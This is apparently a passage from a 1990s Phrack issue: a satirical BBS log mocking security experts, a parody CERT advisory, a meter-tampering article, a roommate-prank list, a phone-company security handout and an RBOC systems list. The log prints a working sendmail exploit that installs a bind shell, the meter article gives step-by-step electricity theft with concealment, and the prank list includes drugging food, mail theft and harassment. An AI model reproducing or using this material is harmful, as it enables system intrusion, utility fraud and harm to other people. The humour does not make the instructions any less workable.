a CumSek Haqu3r lyK3 ChaZ1n R3m0v3D!@!#

Sh1T!

--spaf
Forum Of OverLordS

[A]uto reply [N] [R]e-read [Q]uit:N

Number :) 216
From :) Zen
Subject :) Who died and left you in charge?

You suck Jeanie.

Who said YOU got to be the master?
Your group sucks too. You have obsolete info.
You guys say "There is nothing you have that we can
not possess?" Well, there is nothing you have that
WE want to possess.

```
I think I will begin shooting off my mouth at
Usenix Security BOFs and in Risks and in
mailing lists, then maybe I can be as ELEET as
you.  NOT!

Zen
Legion of Security Types

[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 217
From    :) Hackman
Subject :) I Dream of Geneie

Yo Yo Yo...

I think someone wants to be the next Donn Parker.
Similarities:

1)  Has BIG mouth
2)  Writes Worthless Books
3)  Hoardes inpho from invisible enemy
4)  Goes on and on about "Evil Crackers"

You should start charging 5000+ dollar speaking fees
and shave your head.  THEN, maybe someone will
hire your worthless self, and you can emerge
from Academia into the REAL world.  Nah...you are
too LAME!

HACKMAN
Legion of Security Types

[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 218
From    :) American Eagle
Subject :) hey.

You two punks think you are so kool, don't you?
I was developing security theory when you were
in junior high.  You need to get your asses
kicked, and I'm the guy to do it.

About my speaking fees...Youre jealous.  See green often?
You wish your k-rad companies (pffft) would pay you
as well.  BAH.

AE
 /q
.
\s


end/
stop
,

[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 219
From    :) Captian VAX
Subject :) New BBS

Hello,

I am putting up a new bbs to be a forum for a database
on bugs and security problems.  If you are interested,
please send me email on here or on internet.
```

```
Thx

CV

[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 220
From    :) The BeanCounter
Subject :) STUPH

HEY...I AM NOT SURE BUT I THINK
MY ACCOUNT AT DOCKMASTER HAS BEEN
HACKED OUT.  IF ANY1 KNOWS WHO
DID IT LET ME KNOW.

I AM REALLY PISSED!  THATS WHAT
HAPPENS WHEN PEOPLE GET SLOPPY AND
THEY LET ON JUST ANYONE WHO CAN
FILL OUT THE FORM!  CAN WE LIE DOWN
WITH DOGS AND EXPECT NOT TO GET UP
WITH FLEAS?

WHM

[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 221
From    :) Spaf Master
Subject :) fUq U alL

33t sh1T u Pr1Kz!#!$@

3yE m M0r3 3l33t thAn alL 0f u!!!

U w1lL All F3el mY wRatH!

Ey3 Hav3 ur InPh0!@$@  1 w1Ll b3 kaLl1nG 3aCh
0f U v3Ry so()n.

--spaf
Forum Of OverLordS

[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 222
From    :) Venom
Subject :) Fuck!

Now I’m mad.  That bastard Chasin posted the Sendmail Bug on
The firewalls list!  Now all the hackers will have it!

I’m going to take him down. Anyone who wants to help, his
site is crimelab.com.  You can check the Forum’s
Codeline for further developments.

Get your scripts ready!  Let’s hack the little prick!

Venom

[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 223
From    :) American Eagle
Subject :) Sendmail

What is the sendmail bug?

AE
```

```
[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 224
From    :) Uncertian Future
Subject :) Sendmail

The Sendmail bug is a bug that works using sendmail.

This bug works on hosts using sendmail and can allow
people to do things from remote through sendmail.

I know the bug, but I'm not going to give it out.

Forum Members can get it from the Database
on CertNet.

UnCERTian Future

[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 225
From    :) The BeanCounter
Subject :) SENDMAIL

ED:

I DON'T HAVE ACCESS TO THE DATABASE
ON CERTNET.

COULD YOU SEND IT TO ME IN EMAIL?

WHM

[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 226
From    :) Uncertian Future
Subject :) Bill...

Yes, you do.  All Members of The Forum
have access.  I will call you and tell you
how to access it.  Remember, UNIX
is case sensitive.  If this is a problem, you
will have to use another computer.

UnCERTian Future
Forum Of OverLordS

[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 227
From    :) Information Warrior
Subject :) InterNuts

I have been having a really dumb conversation on the
net with a moron who wants to argue about HERF with ME!
WITH ME!  Can you believe it?  I almost want to strangle the
guy.  Some college kid, but still...

The new file is due out soon.  I will place it in the
upload section in .zip format.  Someone will have to
unzip it for Donn and Bill.  I don't think they have
figured that utility out yet.

[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 228
From    :) Hackman
Subject :) Sendmail Bug.  Dig it.
```

You Forum people piss me off. Turn on your buffers everyone
cuz here comes the bug. Fuck you if you don't like it.

```
------Cut Here--------
#!/bin/sh
# Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com)
#
# This material is copyrighted by Scott Chasin, 1992, 1993. The
# usual standard disclaimer applies, especially the fact that the
# author is not liable for any damages caused by direct or indirect
# use of the information or functionality provided by this program.
#
# Description:
#
# Exploit NEW sendmail hole  and bind a port so we can spawn a program.
# Not for distribution under any circumstances
#
# Usage: smail <hostname> <target-user-name> <target-port> <shell command>
# default: smail <localhost> <daemon> <7001> </bin/sh>

port=$3
user=$2
cmd=$4

if [ -z "$2" ]; then
   user=daemon
fi

if [ -z "$3" ]; then
   port=7002
fi

if [ -z "$4" ]; then
   cmd="/bin/csh -i"
fi

(
sleep 4
echo "helo"
echo "mail from: |"
echo "rcpt to: bounce"
echo "data"
echo "."
sleep 3
echo "mail from: $user"
echo "rcpt to: | sed '1,/^$/d' | sh"
echo "data"
echo "cat > /tmp/a.c <<EOF"
cat <<  EOF
#include <sys/types.h>
#include <sys/signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
int **av;{struct sockaddr_in mya;struct servent *sp
;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x<
NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2
(0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new);
goto loop;}
EOF
echo "EOF"
echo "cd /tmp"
echo "/bin/cc /tmp/a.c"
echo "/bin/rm a.c"
echo "/tmp/a.out $port $cmd"
echo "."
echo "quit"
) | mconnect $1
----------------------------------------------------------------------


This Buffer Brought To You By:  L.O.S.T

Greets Going Out To: The Great Circle, Apple-Man, Casper The Ghost,
                     Zen and the L.O.S.T Posse!


[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 229
From    :) Spaf Master
Subject :) D1CK!!!

Ey3 kAnt b3l1V3 u p0sT3d 1t!

U w1lL PaY d3aRly 4 ur NaRq1nG th1z BUG!
Ur dAyz r NumB3rd!@!#

--spaf
Forum Of OverLordS

[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 230
From    :) LOST Girl
Subject :) Bugs

Thanks for posting that.  I was wondering if you
I would ever get it.  Nasa probably has it...they
have every HOLE...  <sigh>  Why did I take this job?

L.O.S.T Girl

Number  :) 231
From    :) American Eagle
Subject :) That post

How do you use that bug?

I tried typing it in,but got a lot of errors.

Is it for some special operating system?  Or do you have
to type it in on a special port?

American Eagle
Forum Of OverLordS

[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 232
From    :) Zen
Subject :) New Program

The new version of COPS is available for Download.
Zero Day Ware!  Get it fast.  I will u/l updates/
bug fixes later...

Gotta love all them filepoints!
```

```
Off to play Xtank

Zen
Legion Of Security Types

[A]uto reply [N] [R]e-read [Q]uit:N

Number  :) 234
From    :) Spaf Master
Subject :) !@!#

Ur Pr0grA/\/\ 1z amUz1nG, But Un3l3eT

Eye p0Ss3z 1 0F mUch gR3aTr aB1liTy thAt Th3
4-m w1lL Us3.

Ch3Ck th3 DatAbaS3 0n CERT-NET.

D3aTh 2 LOST

--spaf
Forum Of OverLordS

Number  :) 235
From    :) Sysop
Subject :) WARNING!

Someone has given out the NUP.
Some cracker type has attempted to
access the bbs as of last night.  I will call
UnCERTain Future to put out an advisory on this
issue.  Please do not give out the NUP to anyone.

THIS IS A PRIVATE BBS!

[A]uto reply [N] [R]e-read [Q]uit:N

End of Messages

[A]uto reply [N] [R]e-read [Q]uit:Q

********************************************************************************
```

```
=============================================================================
CA-93:16                         CERT Advisory
                               October 23, 1993
                        Hacker/Cracker Vulnerabilities
-----------------------------------------------------------------------------
```

The CERT Coordination Center has learned of several vulnerabilities in the language used on the USENET system. This vulnerability affects all users running rn, tin or other USENET news readers as well as users holding discussions containing the words "hacker" or "cracker".

Patches can be obtained from your local phrack archive as well as through anonymous FTP to they ftp.netsys.com (192.215.1.2) system.

Information concerning specific patches is outlined below. Please note that phrack sometimes updates patch files. If you find that the checksum is different, please contact phrack.

I. Hack and Crack Vulnerabilities

These vulnerabilities affect all systems running a USENET newsreader including rn and tin, as well as all conversations, papers and stories involving the words "Cracker" and/or "Hacker".

** This vulnerability is being actively exploited and we strongly recommend that sites take immediate and corrective action. **

A. Description

A vulnerability exists in the words "Hacker" and "Cracker" such that users may become confused as to exactly who/what you are talking about when used in a sentence.

B. Impact

Unauthorized confusion to affected conversations may ensue.

C. Solution

We recommend that all affected sites take the following steps to secure their systems.

1. Obtain and install the appropriate patch following the instructions included with the patch.

System	Patch ID	Filename	Checksum
all	10288	10288.tar.Z	5551 212

The checksums shown above are from the BSD-based checksum.

2. If your conversation is found to have been compromised by the word "Hacker" or "Cracker", we recommend you flame all parties involved and immediately break up the discussion by talking about the "correct" meaning of the words.

3. Depending upon the sensitivity of the information contained in your conversation, you may wish to replace the existing conversation with one discussing (a) the NSA, (b) the BATF (c) The Kennedy Assasination, (d) why shadowing password schemes are helpful or hurtful or (e) which file editor is actually the best.

The CERT Coordination Center wishes to thank the Rogue Agent, (Rogue Agent/SoD!/TOS/KoX), the letter 'Q' and the number '55' for reporting these vulnerabilities and Phrack, Inc. for their response to these problems.

If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in FIRST (Forum of Incident Response and Security Teams).

Internet E-mail: cert@cert.org
Telephone: 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours.

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890

Past advisories, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from cert.org (192.88.209.5).

****

[** NOTE: The following file is presented for informational and entertainment purposes only. Phrack Magazine takes NO responsibility for anyone who attempts the actions described within. **]

Power to the People

A little theory to get you started:

Watts=Current * Voltage

A power meter consists of a voltage coil, a current coil, a small motor to drive the dials, and little else. Given the formula above, if we can somehow cut down the voltage that the meter 'sees', then we can reduce the number of watts that it measures. If we cut our voltage in 1/2, our watts also get cut in half.

Fortunately, your meter doesn't read the voltage directly off of the lines into your house. Two small wires lead to the voltage coil within the meter. Simple modification to this circuit is all that is needed. Inserting a resistor in series with the voltage coil will cut the voltage that the meter sees, and therefore that wattage that it reads.

Meters read Kilowatts per hour, and you pay so much for each kilowatt. Since the hours remain constant (unless your stuck in one of those nasty little dimensional time warps..and I really hate it when that happens), your bill is directly related to what resistor value you insert. Do this correctly, and carefully, you will save a bundle on the power you use.

Say I cut my bill by $40 per month..$40 * 12 months = $480 saved with a original 'investment' of $5 that is a 96 fold return on your investment. This idea also might be used to provide a service to your trusted friends, $100 bux a mod or so..$$$

One last little caution before you begin, don't go messing around with the adjustment screws you will find, usually there are 2 of them with F & S marked near them. I had the foolish idea to mess with these, the result is when I am drawing very little power (a few watts) my meter will slowly run backwards. Next time I'm modifying it, I'll have to fix that. Mr. Meter Reader would really wonder what the heck was going on when he saw that. (Mr. Meter Reader will be thinking he's done far to many drugs on the weekend..or needs to be.)

SUPPLIES NEEDED:

(2) Power meters. You'll perform the mod on one, and use the other to have in while you're doing it.
(1) Length of heat shrink tubing, a sufficient size to cover a half watt resistor.
(Some) half-watt resistors, 10k-25k or so. (A 10K resistor will cut your bill in half...15K quit a bit more (the amount saved, is NOT linear to the resistor value..more like a logarithmic scale)
(some) Good old 100% silicon caulk
Soldering iron, solder, lots of nerve.

To begin the Mod:

Take the little 'lock' they use (little plastic deal), and chuck it. Wait about 2 months for the reader to get used to the fact it's gone..the idea is that if they think you've tampered with it cause the lock is gone..they will check and find no tampering then..(least that's the idea)

If you happen to know someone who works for the power company, and can get your hands on some of those locks, get a few new ones, and let them 'age' outside for a few months (to get that used look), then replace yours with it when done. And if anyone happens to know of a source for these locks, I would appreciate knowing.

You'll need to 'find/get/steal/snag/etc' another meter to put in while your fixing your..(kinda hard to see/solder with no power) ;)

Lift the now unlocked cover and pull meter out..(simply pulls out of the socket real easy) put other meter in for a while..(do at night would be a good idea..neighbors would wonder what the heck you were doing eh?)

On the side of the meter, there will be a little (probably copper), pin, that is designed to break when you unbend the end of it..(security device). Be real careful and try not to break it when you bend it back (if it breaks, save the piece that broke off)

Pull that out, and then turn the ring that holds the unit together..it should then come apart real easy.

Between the assembly where the wheel is and the base plate, look in the gap, there should be a black deal that looks like a transformer attached to the core of the meter and 2 black wires leading from the prongs of the meter base to the smaller coil. This is the voltage coil. Here comes the fun part!

Cut one of the wires, being sure you cut where you can hide the damage later. Solder in 10k or 15k resistor with the leads of resistor cut off right at resistor body, and also put the heat shrink tubing on the resistor, and shrink it..(with heat preferably) ;)

Take silicone rubber (the 100% pure stuff..) and glue the resistor and the shrunk tubing over it underneath the top assembly. Make it appear that the wires simply curve up that way and nothing more. Put ring back on. Notice that you must put the meter together exactly the way it came apart. Example: on mine, i noticed that there was dirt on the bottom from rain splashing mud onto the meter. It would look kinda obvious if the mud suddenly appeared on top of the meter.

Take the little pin that you removed (copper thing) and replace it in the hole and through the ring as before. Bend the end back up like before also if it broke, bend what is left anyways, there should be plenty left to bend. Take the broken end (if it broke), and jam it under the end of the bend to make it look legit. If they do pull the meter to inspect, they will hopefully just think that it might have broke loose when it was installed.

I have noticed on some unmodified meters that I 'found' that the security pin has been broken already. So It's reasonable safe to assume that they don't take much faith in them.

When done, you should NOT be able to tell if any mods have been done by looking. Be sure it's undetectable, they get kinda mad when you do things like this for some odd reason. It's suggested that after the modification, you have a friend, who you trust not to fink, take a very close look to see if they can spot any mods.

Your bill should drop in half or more..if you really want to drop the bill..do this in steps.. a few months apart..so they won't notice that your bill is dropping like a rock. Just don't get silly. Using only 1kwh per month just yells fraud. Mine went from $80-$90 a month to around $30-$37 month with a 10K resistor (I added a electric dryer and other items during that month also.)

You might want to try this a few times on other meters you've 'found' just to get the nack of it first, it should work with all meters. At least the ones they use in my area.

Table of comparisons:

test made using 1320 watt electric heater.
120V
11 amps
1.3 KWH

resistor value	rev per time	voltage cross resistor	rev/hour
0	1 rev/23 seconds	0	156
1k	1 rev/24 seconds	9.	150
10K	1 rev/42 seconds	63	85
12k	1 rev/53 seconds		68
39K	1 rev/464 seconds	???	7.25

Notice the 39K resistor's performance, NOT a good choice to use, it will cut your bill to 4% of the original. They will wonder about this. I'm currently using 10K which will cut it to approx 54% of the original bill. My bill is around 1/2 previous. Saving me approx $30-$50 a month in power bills. Not bad for a 10 cent resistor.

Keep in mine the wattage rating of the resistor. Measure the voltage across the resistor. Take that number divide it by the resistor your using to get current. Take the current times current (square it), and multiply this by resistance value to get the wattage of resistor that is required. After all, it would not be a good thing for the resistor to go up in smoke. Mr. Meter Reader would wonder why you used 0 kwh this month.

There also is another method that in theory will make your power bill less, this is called 'power factor correction', but unfortunately requires the use of some rather large (read expensive) AC cap's. For this reason (and the fact it cost under $5 and provides more of a benefit), the method of using the resistor is more useful and do-able by the everyone (especially those who despise the 'system').

Notice that I have NOT left a email address or the like for correspondence, namely due to the fact that this is highly illegal and greatly frowned upon by the authorities. If anyone has a need to contact me they may do so via phrack magazine, they can forward mail to me. If you do this modification correctly and per instructions, you will indeed save money. Have fun, be careful, and challenge the system at every turn.

****

DATA BANK OF THE GERMAN SPEAKING AN-ARCHISM
The Da.d.A. Project
DAtenbank des Deutschsprachigen Anarchismus

Berlin, Koln

The history of the liberative movement has not yet been filed sufficiently. That is, mainly, due to the lack of scientists with interest in exploring this area. Thanks to that, people who need bibliographic information for some specific themes of the history of anarchism, must go through all direct sources and derive from those some conclusions. Things are more difficult in case modern literature is required, for the theory and practice of liberative movements, which have appeared in the meantime.

The data bank of the German speaking anarchism (DAtenbank des Deutschsprachigen Anarchismus) is trying to cover the lack of bibliographic material. Currently it files anarchistic or, generally, liberative documents and publishes. Later it will comprehend documents which deal with the history and theory of those movements.

We are focusing our compilation activities, to the German speaking areas with plans of enhancing that shortly. In parallel we are elaborating an introduction to the publishing history of the printed material, which will be informative for their political and editorial meanings.

From the early 1980's, the filing of the German liberative press is open for exploration. It covers the chronological period from the philosophic commencements of the German anarchism, in the 1832, until nowadays. Strength of expression is given to newspapers and magazines, though collections of documents, almanacs, year-books, congresses' protocols and catalogs are not omitted.

Except of the anarchistic publishes we are also registering material whose cooperatives or publishers were anarchists. The filing is achieved using all the usual bibliographical criterion (titles, publishers, date/district, circulation, place of distribution et cetera).

In order to handle the increasing demands of the people who would like to access our material, we decided to publish our first synthetic registers in a series of brochures. This publication, in restricted copies and four or five continuations, will be available at the "File of Social and Civilization History" of the 'Libertad' publications in Berlin. The first brochure, is occupied with the German liberative press from 1832 to 1890. Every copy of this serial includes a diagram of the press' history, chronological bibliography of the magazines and an index.

We resume special researches through the data bank and we offer the results printed. Until now we have filed over 1000 titles, which offer many different elements for research each.

Da.d.A. is a private, research project. We do not accept donations from state institutions and other similar organizations. In that way we can continue our efforts undistracted and independent. The disadvantage is that we support Da.d.A. with personal expenses and when we have free time available.

The modern liberative press is difficult to register and get filed. Although liberative publications were developed in an unprecedented way (and not only arithmetically) after 1968, few publications are accessible from libraries and files. Especially today we must tune up our practises in order to protect modern press. We encourage every publisher of anarchistic material, even if productions are ceased nowadays, to send us information and, if possible, a copy of their publications. They will get registered in our computer and filed in the library for the Research of Social Demands, in order to be accessible for studies in the future.

For more information about the Da.d.A. project and the possibilities of using the data bank, you can contact us in the following addresses:

BERLINER GESELLSCHAFT ZUM STUDIUM SOZIALER FRAGEN e.V.
Projekt: Datenbank des Deutschsprachigen Anarchismus (Da.d.A.)

c/o Jochen Schmuck	c/o Gunter Hoering
Postfach 440 349	Pfalzer Str.27
1000 BERLIN 44	5000 KOLN 1
Tel. 030/686 65 24	Tel. 0221/21 81 49

****

[Don't ask me why I'm printing this. I just think it's funny as hell.]

100 WAYS TO FREAK OUT YOUR ROOMMATE

1. Smoke jimson weed. Do whatever comes naturally.

2. Switch the sheets on your beds while s/he is at class.

3. Twitch a lot.

4. Pretend to talk while pretending to be asleep.

5. Steal a fishtank. Fill it with beer and dump sardines in it. Talk to them.

6. Become a subgenius.

7. Inject his/her twinkies with a mixture of Dexatrim and MSG.

8. Learn to levitate. While your roommate is looking away, float up out of your seat. When s/he turns to look, fall back down and grin.

9. Speak in tongues.

10. Move you roommate's personal effects around. Start out subtle. Gradually work up to big things, and eventually glue everything s/he owns to the ceiling.

11. Walk and talk backwards.

12. Spend all your money on Jolt Cola. Drink it all. Stack the cans in the middle of your room. Number them.

13. Spend all your money on Transformers. Play with them at night. If your roommate says anything, tell him/her with a straight face, "They're more than meets the eye."

14. Recite entire movie scripts (e.g. "The Road Warrior," "Repo Man," Casablanca,") almost inaudibly.

15. Kill roaches with a monkey wrench while playing Wagnerian arias on a kazoo. If your roommate complains, explain that it is for your performance art class (or hit him/her with the wrench).

16. Collect all your urine in a small jug.

17. Chain yourself to your roommate's bed. Get him/her to bring you food.

18. Get a computer. Leave it on when you are not using it. Turn it off when you are.

19. Ask your roommate if your family can move in "just for a couple of weeks."

20. Buy as many back issues of Field and Stream as you can. Pretend to masturbate while reading them.

21. Fake a heart attack. When your roommate gets the paramedics to come, pretend nothing happened.

22. Eat glass.

23. Smoke ballpoint pens.

24. Smile. All the time.

25. Collect dog shit in baby food jars. Sort them according to what you think the dog ate.

26. Burn all your waste paper while eying your roommate suspiciously.

27. Hide a bunch of potato chips and Ho Hos in the bottom of a trash can. When you get hungry, root around in the trash. Find the food, and eat it. If your roommate empties the trash before you get hungry, demand that s/he reimburse you.

28. Leave a declaration of war on your roommate's desk. Include a list of grievances.

29. Paste boogers on the windows in occult patterns.

30. Shoot rubber bands at your roommate while his/her back is turned, and then look away quickly.

31. Dye all your underwear lime green.

32. Spill a lot of beer on his/her bed. Swim.

33. Bye three loaves of stale bread. Grow mold in the closet.

34. Hide your underwear and socks in your roommate's closet. Accuse him/her of stealing it.

35. Remove your door. Ship it to your roommate's parents (postage due).

36. Pray to Azazoth or Zoroaster. Sacrifice something nasty.

37. Whenever your roommate walks in, wait one minute and then stand up. Announce that you are going to take a shower. Do so. Keep this up for three weeks.

38. Array thirteen toothbrushes of different colors on your dresser. Refuse to discuss them.

39. Paint your half of the room black. Or paisley.

40. Whenever he/she is about to fall asleep, ask questions that start with "Didja ever wonder why...." Be creative.

41. Shave one eyebrow.

42. Put your mattress underneath your bed. Sleep down under there and pile your dirty clothes on the empty bedframe. If your roommate comments, mutter "Gotta save space," twenty times while twitching violently.

43. Put horseradish in your shoes.

44. Shelve all your books with the spines facing the wall. Complain loudly that you can never find the book that you want.

45. Always flush the toilet three times.

46. Subsist entirely on pickles for a week. Vomit often.

47. Buy a copy of Frankie Yankovic’s "Pennsylvania Polka," and play it at least 6 hours a day. If your roommate complains, explain that it’s an assignment for your primitive cultures class.

48. Give him/her an allowance.

49. Listen to radio static.

50. Open your window shades before you go to sleep each night. Close them as soon as you wake up.

51. Cry a lot.

52. Send secret admirer notes on your roommate’s blitzmail.

53. Clip your fingernails and toenails and keep them in a baggie. Leave the baggie near your computer and snack from it while studying. If he/she walks by, grab the bag close and eye him/her suspiciously.

54. Paste used kleenexes to his/her walls.

55. Whenever your roomate comes in from the shower, lower your eyes and giggle to yourself.

56. If you get in before your roomate, go to sleep in his/her bed.

57. Put pornos under his/her bed. Whenever someone comes to visit your roommate when they’re not home, show them the magazines.

58. Whenever you go to sleep, start jumping on your bed . . . do so for a while, then jump really high and act like you hit your head on the ceiling. Crumple onto your bed and fake like you were knocked out . . . use this method to fall asleep every night for a month.

59. If your roommate goes away for a weekend, change the locks.

60. Whenever his/her parents call and ask for your roommate, breathe into the phone for 5 seconds then hang up.

61. Whenever he/she goes to shower, drop whatever you’re doing, grab a towel, and go shower too.

62. Find out your roommate’s post office box code. Open it and take his/her

mail. Do this for one month. After that, send the mail to him/her by UPS.

63. Collect all of your pencil shavings and sprinkle them on the floor.

64. Create an imaginary cat for a pet. Talk to it every night, act like you’re holding it, keep a litter box under your desk. After two weeks, say that your cat is missing. Put up signs in your dorm, blame your roommate.

65. Call safety & security whenever your roommate turns up his/her music.

66. Follow him/her around on weekends.

67. Sit on the floor and talk to the wall.

68. Whenever the phone rings, get up and answer the door.

69. Whenever someone knocks, answer the phone.

70. Take his/her underwear. Wear it.

71. Whenever your roommate is walking through the room, bump into him/her.

72. Stare at your roommate for five minutes out of every hour. Don’t say anything, just stare.

73. Tell your roommate that someone called and said that it was really important but you can’t remember who it was.

74. Let mice loose in his/her room.

75. Give each of your walls a different name. Whenever you can’t answer a problem, ask each of your walls. Write down their responses, then ask your ceiling for the final answer. Complain to your roommate that you don’t trust your ceiling.

76. Take your roommate’s papers and hand them in as your own.

77. Skip to the bathroom.

78. Take all of your roommate’s furniture and build a fort. Guard the fort for an entire weekend.

79. Gather up a garbage bag full of leaves and throw them in a pile in his/her room. Jump in them. Comment about the beautiful foliage.

80. When you walk into your room, turn off your lights. Turn them on when you leave.

81. Print up satanic signs and leave them in your room where he/she can find them.

82. Whenever you’re on the phone and he/she walks in, hang up immediately without saying anything and crawl under your desk. Sit there for two minutes than call whoever it was back.

83. Insist on writing the entire lyrics to American Pie on your ceiling above your bed. Sing them every night before you go to bed.

84. Use a bible as Kleenex. Yell at your roommate if they say Jesus or God Damnit.

85. Burn incense.

86. Eat moths.

87. Buy Sea Monkeys and grow them. Name one after your roommate. Announce the next day that it died. Name another one after your roommate. The next day say that it died. Keep this up until they all die.

88. Collect Chia-Pets.

89. Refuse to communicate in anything but sign language.

90. Eat a bag of marshmallows before you go to bed. The next day, spray three bottles of whipped cream all over your floor. Say you got sick.

91. Wipe deodorant all over your roommate’s walls.

92. If you know that he/she is in the room, come barging in out of breath. Ask if they saw a fat bald naked Tibetan man run through carrying a hundred dollar bill. Run back out swearing.

93. Leave apple cores on his/her bed.

94. Keep feces in your fridge. Complain that there is never anything to eat.

95. Piss in a jar and leave it by your bed. When your roommate isn’t looking, replace it with a jar of apple juice. Wait until your roommate turns around. Drink it.

96. Don’t ever flush.

97. Buy an inflatable doll. Sleep with it.

98. Hang stuffed animals with nooses from your ceiling. Whenever you walk by them mutter, "You shouldn’t have done that to me."

99. Lick him/her while they are asleep.

100. Dress in drag.

****

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 4 of 27

```
                           //  //   /\   //   ====
                          //   //  //\\ //   ====
                         ==== //  //  \\/   ====

                     /\   //  // \\    //  /===   ====
                    //\\ //  //   //  //   \=\   ====
                   //  \\/    \\ //  //   ===/  ====
```

PART II

****

<Retyped From an Actual SWBT Handout>

SOUTHWESTERN BELL TELEPHONE

Computer
Security
Guidelines

Computer Security is YOUR Responsibility.

These guidelines are designed to help you know and meet your corporate obligation.

Prepared by: Information Systems
Computer Security Administration
One Bell Center 22-H-8
St. Louis, MO 63101

For Users

Keep your logon and password information private.
Do not write down passwords, but if you must, keep them in a locked place.
Do not store your password in the computer.
Make sure no on sees you enter your passwords.
Pick non-obvious, non-guessable passwords.
Do not share your logons or passwords.
Change passwords periodically, at least every thirty days.
Open new computer logons for computer resources only when you have a real need.
Close computer logons you no longer need.
Make sure you have proper protection settings on sensitive computer files.
Do not send confidential information through electronic mail or computer news systems.
If you suspect security violations, tell management immediately.
Be sure that use of computing resources is for company approved purposes only.
Do not access any information that your management has not authorized you to have. When in doubt, ask!
Logoff when you leave your terminal.
If you dialed in, disconnect when you are finished working.

For Managers of Computing Facilities

Provide procedures to control access to computing resources.
Provide facilities to let users protect proprietary information from disclosure to unauthorized persons.
Be sure that connection of a computer to any network does not diminish the control a user has over programs and data.
Provide appropriate security facilities and procedures to protect computing hardware against damage.
Provide facilities to protect user's data and programs from undesired changes or destruction.

Ensure that computing resource use has been authorized by a member of supervision.
Make sure that computing resource use can be tracked to individuals.
Report to managers regularly on the extent of computing resource use.
Provide appropriate backup facilities for data and programs.
Provide audit trails which identify violations and security breaches and examine them regularly.
For assistance in coordinating computer security activities, contact the Computer Security Administrator.

For Managers

Make sure you authorize all use of computing resources and that you require separate logons for each individual.
Make sure that the user of computer resources understands responsibilities with respect to proper use and security consciousness.
Review computing resource usage reports and the security practices of the users for which you are responsible.
When a user's employment or need for access ends or changes, make sure access to computer resources is promptly changed by notifying your System Administrator.
Report security violations to the General Security Manager and to the Computer Security Administration Group.

For Information

The Information Systems Organization provides security and disaster recovery services to establish, monitor, and audit computer security standards.
If you have any comments or questions regarding computer security, please contact the Computer Security Administration.

****

RBOC ORGANIZATIONAL ARCHITECTURE

Compiled By

Phrack Magazine

In an effort to assist the hacking world in their understanding of the organizational mess created by our fabulous friends at the RBOCs, we have compiled a list of the various organizations, what their functions are, which centers they are made up of, and which computer systems they use.

Planning and Engineering

Defines network resources available for assignment

Functions:

- Long range and current planning for outside plant, wire centers, interoffice network, special services, interexchange access services, and message trunks
- Exchange network design
- Coordination of activities connected with installation and/or modification of exchange network components

Centers:

- DSPC
- SCPC
- WCFPC
- CAC
- IFFPC
- IFCPC

- TEC
- MEC
- DSDC
- EEC
- CSEC

Systems:

- LEIS
- NPS
- FEPS
- LSRP
- INPLANS
- INFORMS
- DFDS
- SSFS
- PICS
- LATIS
- CAMIS
- CUCRIT

Service Provisioning

Allocates assignable existing network resources

Functions:

- Circuit design and routing
- Verification and assignment of network elements
- Controlling and tracking orders during assignment process

Centers:

- CPC - Circuit Provisioning Center
- LAC - Loop Assignment Center

Systems:

- TIRKS
- SOAC
- SWITCH
- COSMOS
- WM
- LFACS
- LOMS

Network Operations

Controls installation, maintenance and testing of circuits

Functions:

- Coordination and performance of the activities required to provide service
- Surveillance and control of network equipment and facilities
- Analysis, sectionalization, and repair of switching and transmission facilities
- Status reporting on service order and/or service restoration activities

Centers:

- CRSAB
- ICC
- MC
- NAC
- RCMAC
- SEAC

SSC
FMAC
STC
DNCC
FCC
SCC

Systems:

McTE
GDS
LMOS
EADAS
TAN
RSA
CRAS
CIMAP
NDS
SEAS
MAS
MIZAR
SARTS
TCAS
CAROT
NMA
NMPS
SCCS

Customer Services

Direct company contact with customers

Functions:

Service negotiation with customers
Creating and routing associated service orders
Creating and maintaining customer records
Reporting the provisioning status to customers
Initiating billing and collection processes
Handling billing and general service inquiries

Centers:

RSC - Residence Service Center
BSC - Business Service Center
ICSC - Interexchange Carrier Service Center

Systems:

BOFADS - Business Office Force Administration Data System
PREMIS - Premises Information System
SOP - Service Order Processor
CABS - Carrier Access Billing System
BOSS - Billing and Order Support System
CRIS - Customer Records Information System
BRIS - Business Revenue Information System
CLAIMS

Quick Breakdown

Process	Center	System
Planning & Engineering		
